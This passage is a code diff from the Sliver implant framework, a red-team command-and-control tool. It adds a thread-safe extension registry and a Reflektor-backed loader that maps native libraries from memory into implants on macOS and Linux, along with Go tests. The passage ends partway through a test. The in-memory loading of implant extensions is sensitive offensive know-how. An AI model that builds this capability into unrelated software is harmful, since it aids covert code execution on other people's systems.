github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
@@ -43,12 +37,11 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.6 h1:iW492LhJ6yeG3u647mJgyhdTbjrZZNnw8bks4UxIL1s=
|
||||
github.com/sliverarmory/reflektor v0.0.6/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
@@ -82,7 +75,6 @@ golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
|
||||
@@ -2,13 +2,15 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages sandboxing, lifecycle, and communication with extension modules. Runtime components handle extension darwin, extension windows, memfs, and WASM for implant-side extension features.
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages native shared-library and WASM extension lifecycle, registration, and communication across supported implant platforms.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extension.go` – Core extension host that loads modules and brokers RPC communication.
|
||||
- `extension_darwin.go` – macOS-specific stubs and build tags for extension support.
|
||||
- `extension_windows.go` – Windows-specific integration for loading and managing extensions.
|
||||
- `extension.go` – Thread-safe native extension registry and single-flight loading lifecycle.
|
||||
- `extension_darwin.go` – macOS constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_linux.go` – Linux constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_unix.go` – CGO-free macOS/Linux loading, export invocation, and callback bridge.
|
||||
- `extension_windows.go` – Windows-specific Reflektor integration for loading and invoking extensions.
|
||||
- `memfs.go` – Implements the in-memory filesystem backing extension assets.
|
||||
- `memfs_test.go` *(tests)* – Tests the in-memory filesystem behavior for extensions.
|
||||
- `wasm.go` – Sets up the WASM runtime for implant extensions and handles module lifecycle.
|
||||
|
||||
@@ -20,13 +20,31 @@ package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
const (
|
||||
// Success indicates that a native extension callback completed successfully.
|
||||
Success = 0
|
||||
// Failure indicates that a native extension callback failed.
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
var (
|
||||
extensions map[string]Extension
|
||||
extensionLoads map[string]*extensionLoad
|
||||
extensionsMu sync.RWMutex
|
||||
)
|
||||
|
||||
type extensionLoad struct {
|
||||
done chan struct{}
|
||||
err error
|
||||
waiters int
|
||||
}
|
||||
|
||||
type Extension interface {
|
||||
Load() error
|
||||
@@ -36,10 +54,47 @@ type Extension interface {
|
||||
}
|
||||
|
||||
func Add(e Extension) {
|
||||
extensionsMu.Lock()
|
||||
defer extensionsMu.Unlock()
|
||||
extensions[e.GetID()] = e
|
||||
}
|
||||
|
||||
// Register loads an extension once per ID and publishes it only after loading
|
||||
// succeeds. Concurrent registrations for the same ID wait for the in-flight
|
||||
// load instead of mapping duplicate libraries and allocating duplicate callback
|
||||
// trampolines.
|
||||
func Register(e Extension) error {
|
||||
id := e.GetID()
|
||||
extensionsMu.Lock()
|
||||
if _, found := extensions[id]; found {
|
||||
extensionsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
if loading, found := extensionLoads[id]; found {
|
||||
loading.waiters++
|
||||
extensionsMu.Unlock()
|
||||
<-loading.done
|
||||
return loading.err
|
||||
}
|
||||
loading := &extensionLoad{done: make(chan struct{})}
|
||||
extensionLoads[id] = loading
|
||||
extensionsMu.Unlock()
|
||||
|
||||
err := e.Load()
|
||||
extensionsMu.Lock()
|
||||
if err == nil {
|
||||
extensions[id] = e
|
||||
}
|
||||
loading.err = err
|
||||
close(loading.done)
|
||||
delete(extensionLoads, id)
|
||||
extensionsMu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func List() []string {
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
var extList []string
|
||||
for id := range extensions {
|
||||
extList = append(extList, id)
|
||||
@@ -48,10 +103,15 @@ func List() []string {
|
||||
}
|
||||
|
||||
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
|
||||
if ext, found := extensions[extID]; found {
|
||||
extensionsMu.RLock()
|
||||
ext, found := extensions[extID]
|
||||
extensionsMu.RUnlock()
|
||||
if found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
@@ -61,4 +121,5 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
|
||||
func init() {
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
}
|
||||
@@ -18,113 +18,10 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
// DarwinExtension is a Reflektor-backed native macOS extension.
|
||||
type DarwinExtension = UnixExtension
|
||||
|
||||
// NewDarwinExtension creates a native macOS extension backed by Reflektor.
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// LinuxExtension is a Reflektor-backed native Linux extension.
|
||||
type LinuxExtension = UnixExtension
|
||||
|
||||
// NewLinuxExtension creates a native Linux extension backed by Reflektor.
|
||||
func NewLinuxExtension(data []byte, id string, arch string, init string) *LinuxExtension {
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
//go:build !(386 || amd64 || arm64)
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
|
||||
// LinuxExtension reports unsupported native-extension operations on Linux
|
||||
// architectures without a Reflektor backend.
|
||||
type LinuxExtension struct {
|
||||
id string
|
||||
arch string
|
||||
}
|
||||
|
||||
// NewLinuxExtension creates an unsupported-architecture extension placeholder.
|
||||
func NewLinuxExtension(_ []byte, id string, arch string, _ string) *LinuxExtension {
|
||||
return &LinuxExtension{id: id, arch: arch}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (l *LinuxExtension) GetID() string {
|
||||
return l.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (l *LinuxExtension) GetArch() string {
|
||||
return l.arch
|
||||
}
|
||||
|
||||
// Load reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Load() error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
|
||||
// Call reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Call(_ string, _ []byte, _ func([]byte)) error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type testExtension struct {
|
||||
id string
|
||||
}
|
||||
|
||||
func (e *testExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) Call(_ string, arguments []byte, callback func([]byte)) error {
|
||||
callback(arguments)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *testExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *testExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
type registeringTestExtension struct {
|
||||
testExtension
|
||||
loadCalls *atomic.Int32
|
||||
loadErr error
|
||||
started chan struct{}
|
||||
release chan struct{}
|
||||
}
|
||||
|
||||
func (e *registeringTestExtension) Load() error {
|
||||
e.loadCalls.Add(1)
|
||||
if e.started != nil {
|
||||
close(e.started)
|
||||
}
|
||||
if e.release != nil {
|
||||
<-e.release
|
||||
}
|
||||
return e.loadErr
|
||||
}
|
||||
|
||||
func resetExtensionRegistry(t *testing.T) {
|
||||
t.Helper()
|
||||
extensionsMu.Lock()
|
||||
previousExtensions := extensions
|
||||
previousLoads := extensionLoads
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
extensionsMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
extensionsMu.Lock()
|
||||
extensions = previousExtensions
|
||||
extensionLoads = previousLoads
|
||||
extensionsMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func waitForExtensionWaiters(t *testing.T, extensionID string, want int) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(time.Second)
|
||||
for {
|
||||
extensionsMu.RLock()
|
||||
loading := extensionLoads[extensionID]
|
||||
got := 0
|
||||
if loading != nil {
|
||||
got = loading.waiters
|
||||
}
|
||||
extensionsMu.RUnlock()
|
||||
if got == want {
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("registration waiters = %d, want %d", got, want)
|
||||
}
|
||||
runtime.Gosched()
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionRegistryConcurrentAccess(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const count = 64
|
||||
errCh := make(chan error, count)
|
||||
var waitGroup sync.WaitGroup
|
||||
for index := 0; index < count; index++ {
|
||||
index := index
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
id := fmt.Sprintf("extension-%d", index)
|
||||
Add(&testExtension{id: id})
|
||||
argument := []byte(id)
|
||||
if err := Run(id, "run", argument, func(output []byte) {
|
||||
if string(output) != id {
|
||||
errCh <- fmt.Errorf("callback output = %q, want %q", output, id)
|
||||
}
|
||||
}); err != nil {
|
||||
errCh <- err
|
||||
}
|
||||
_ = List()
|
||||
}()
|
||||
}
|
||||
waitGroup.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
|
||||
if got := len(List()); got != count {
|
||||
t.Fatalf("List returned %d extensions, want %d", got, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterLoadsExtensionOnlyOnce(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "duplicate-extension"
|
||||
var loadCalls atomic.Int32
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
first := ®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
started: started,
|
||||
release: release,
|
||||
}
|
||||
|
||||
const registrations = 16
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(first)
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
select {
|
||||
case err := <-errorsCh:
|
||||
t.Fatalf("Register returned before the in-flight load completed: %v", err)
|
||||
default:
|
||||
}
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; err != nil {
|
||||
t.Fatalf("Register returned an error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 1 || got[0] != extensionID {
|
||||
t.Fatalf("List returned %q, want [%q]", got, extensionID)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("repeat Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("repeat Register called Load; total calls = %d, want 1", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterRetriesAfterFailedLoad(t *testing.T) {
|
||||
resetExtensionRegistry(t)
|
||||
|
||||
const extensionID = "retry-extension"
|
||||
var loadCalls atomic.Int32
|
||||
wantErr := errors.New("load failed")
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
const registrations = 8
|
||||
errorsCh := make(chan error, registrations)
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: wantErr,
|
||||
started: started,
|
||||
release: release,
|
||||
})
|
||||
}()
|
||||
<-started
|
||||
for index := 1; index < registrations; index++ {
|
||||
go func() {
|
||||
errorsCh <- Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
loadErr: errors.New("unexpected follower load"),
|
||||
})
|
||||
}()
|
||||
}
|
||||
waitForExtensionWaiters(t, extensionID, registrations-1)
|
||||
close(release)
|
||||
for index := 0; index < registrations; index++ {
|
||||
if err := <-errorsCh; !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Register error = %v, want shared error %v", err, wantErr)
|
||||
}
|
||||
}
|
||||
if got := loadCalls.Load(); got != 1 {
|
||||
t.Fatalf("failed Load called %d times, want 1", got)
|
||||
}
|
||||
if got := List(); len(got) != 0 {
|
||||
t.Fatalf("failed extension was published: %q", got)
|
||||
}
|
||||
|
||||
if err := Register(®isteringTestExtension{
|
||||
testExtension: testExtension{id: extensionID},
|
||||
loadCalls: &loadCalls,
|
||||
}); err != nil {
|
||||
t.Fatalf("retry Register returned an error: %v", err)
|
||||
}
|
||||
if got := loadCalls.Load(); got != 2 {
|
||||
t.Fatalf("Load called %d times, want 2", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/ebitengine/purego"
|
||||
reflektor "github.com/sliverarmory/reflektor/native"
|
||||
)
|
||||
|
||||
type extensionCall struct {
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// UnixExtension is a Reflektor-backed native extension for supported Unix
|
||||
// targets.
|
||||
type UnixExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *reflektor.Library
|
||||
arch string
|
||||
init string
|
||||
callback uintptr
|
||||
active atomic.Pointer[extensionCall]
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func newUnixExtension(data []byte, id string, arch string, init string) *UnixExtension {
|
||||
return &UnixExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (u *UnixExtension) GetID() string {
|
||||
return u.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (u *UnixExtension) GetArch() string {
|
||||
return u.arch
|
||||
}
|
||||
|
||||
// Load maps the extension and invokes its optional initialization export.
|
||||
func (u *UnixExtension) Load() error {
|
||||
if len(u.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module != nil {
|
||||
return errors.New("{{if .Config.Debug}} module already loaded {{end}}")
|
||||
}
|
||||
|
||||
module, err := reflektor.LoadLibrary(u.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if u.init != "" {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s\n", u.init)
|
||||
// {{end}}
|
||||
if err := module.CallExport(u.init); err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
callback, err := newUnixExtensionCallback(u)
|
||||
if err != nil {
|
||||
_ = module.Close()
|
||||
return err
|
||||
}
|
||||
u.callback = callback
|
||||
u.module = module
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call invokes an extension export with the native extension callback ABI.
|
||||
func (u *UnixExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
u.Lock()
|
||||
defer u.Unlock()
|
||||
if u.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
if uint64(len(arguments)) > uint64(^uint32(0)) {
|
||||
return errors.New("{{if .Config.Debug}} extension arguments exceed uint32 size {{end}}")
|
||||
}
|
||||
|
||||
var argumentsPtr uintptr
|
||||
if len(arguments) > 0 {
|
||||
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
}
|
||||
argumentsSize := uintptr(uint32(len(arguments)))
|
||||
call := &extensionCall{onFinish: onFinish}
|
||||
u.active.Store(call)
|
||||
defer u.active.Store(nil)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
|
||||
// {{end}}
|
||||
_, err := u.module.CallExportWithArgs(export, argumentsPtr, argumentsSize, u.callback)
|
||||
runtime.KeepAlive(arguments)
|
||||
runtime.KeepAlive(call)
|
||||
return err
|
||||
}
|
||||
|
||||
func newUnixExtensionCallback(extension *UnixExtension) (callback uintptr, err error) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to create extension callback: %v\n", recovered)
|
||||
// {{end}}
|
||||
callback = 0
|
||||
err = errors.New("{{if .Config.Debug}} failed to create extension callback {{end}}")
|
||||
}
|
||||
}()
|
||||
return purego.NewCallback(extension.extensionCallback), nil
|
||||
}
|
||||
|
||||
func (u *UnixExtension) extensionCallback(data unsafe.Pointer, dataLen int32) (result int32) {
|
||||
result = Failure
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
result = Failure
|
||||
}
|
||||
}()
|
||||
|
||||
call := u.active.Load()
|
||||
if call == nil || call.onFinish == nil {
|
||||
return Failure
|
||||
}
|
||||
if dataLen == 0 {
|
||||
return Success
|
||||
}
|
||||
if data == nil || dataLen < 0 {
|
||||
return Failure
|
||||
}
|
||||
|
||||
output := append([]byte(nil), unsafe.Slice((*byte)(data), int(dataLen))...)
|
||||
call.onFinish(output)
|
||||
return Success
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
//go:build (darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64))
|
||||
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func TestUnixExtensionCallbackCopiesOutput(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
var got []byte
|
||||
call := &extensionCall{onFinish: func(output []byte) {
|
||||
got = output
|
||||
}}
|
||||
extension.active.Store(call)
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("extension output")
|
||||
result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source)))
|
||||
if result != Success {
|
||||
t.Fatalf("extension callback returned %d, want %d", result, Success)
|
||||
}
|
||||
source[0] = 'X'
|
||||
if !bytes.Equal(got, []byte("extension output")) {
|
||||
t.Fatalf("extension callback output = %q, want an independent copy", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackRejectsInvalidCalls(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback without an active call returned %d, want %d", result, Failure)
|
||||
}
|
||||
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {}})
|
||||
defer extension.active.Store(nil)
|
||||
if result := extension.extensionCallback(nil, 1); result != Failure {
|
||||
t.Fatalf("callback with a nil data pointer returned %d, want %d", result, Failure)
|
||||
}
|
||||
source := byte(0)
|
||||
if result := extension.extensionCallback(unsafe.Pointer(&source), -1); result != Failure {
|
||||
t.Fatalf("callback with a negative length returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixExtensionCallbackContainsPanics(t *testing.T) {
|
||||
extension := &UnixExtension{}
|
||||
extension.active.Store(&extensionCall{onFinish: func([]byte) {
|
||||
panic("callback failed")
|
||||
}})
|
||||
defer extension.active.Store(nil)
|
||||
|
||||
source := []byte("output")
|
||||
